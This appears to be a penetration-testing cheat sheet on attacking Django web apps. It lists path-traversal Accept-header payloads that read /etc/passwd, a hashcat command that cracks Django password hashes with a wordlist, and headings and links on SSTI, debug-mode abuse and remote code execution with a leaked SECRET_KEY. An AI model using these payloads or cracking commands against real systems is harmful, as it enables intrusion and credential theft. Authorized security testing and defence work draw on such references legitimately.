Django

Web Application Header Values

Accept: ../../../../.././../../../../etc/passwd{{
Accept: ../../../../.././../../../../etc/passwd{%0D
Accept: ../../../../.././../../../../etc/passwd{%0A
Accept: ../../../../.././../../../../etc/passwd{%00
Accept: ../../../../.././../../../../etc/passwd{%0D{{
Accept: ../../../../.././../../../../etc/passwd{%0A{{
Accept: ../../../../.././../../../../etc/passwd{%00{{

File Inclusion LFI / RFI

[DEBUG=True]

Why Django’s [DEBUG=True] is a Goldmine for HackersMedium

Escalating debug mode in Django to RCE, SSRF, SQLiVidoc Security Lab - blog

SSTI

SSTI

Cookie RCE

Leaked SECRET_KEY

GitHub - 0xuf/DJRCE: Simple django rce exploitation with leaked SECRET_KEY variableGitHub

Remote Code Execution on a Facebook server – SCRT Team Blog

HTB: Developer0xdf hacks stuff

Forge Cookie

SECRET_KEY required

Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session TokensGitHub

Password Cracking

hashcat -m 10000 --force django.hash /usr/share/wordlists/rockyou.txt 

GitHub - xros/py_django_crack: Crack the django password on the way. By default Django use pbkdf2 and sha256 method to encrypt user's password. Once get the password stored in the database table, you need to compare it with others if brute force cracking. It is recommended that you use hash table comparison. The tool 'rainbow crack' can generate rainbow hash tables while another tool 'hashcat' brute-force cracks password from a dictionary alive. Because django uses PBKDF2(Password-Based Key Derivation Function), it would take too long to generate a password.GitHub

Resources

Django Security - OWASP Cheat Sheet Series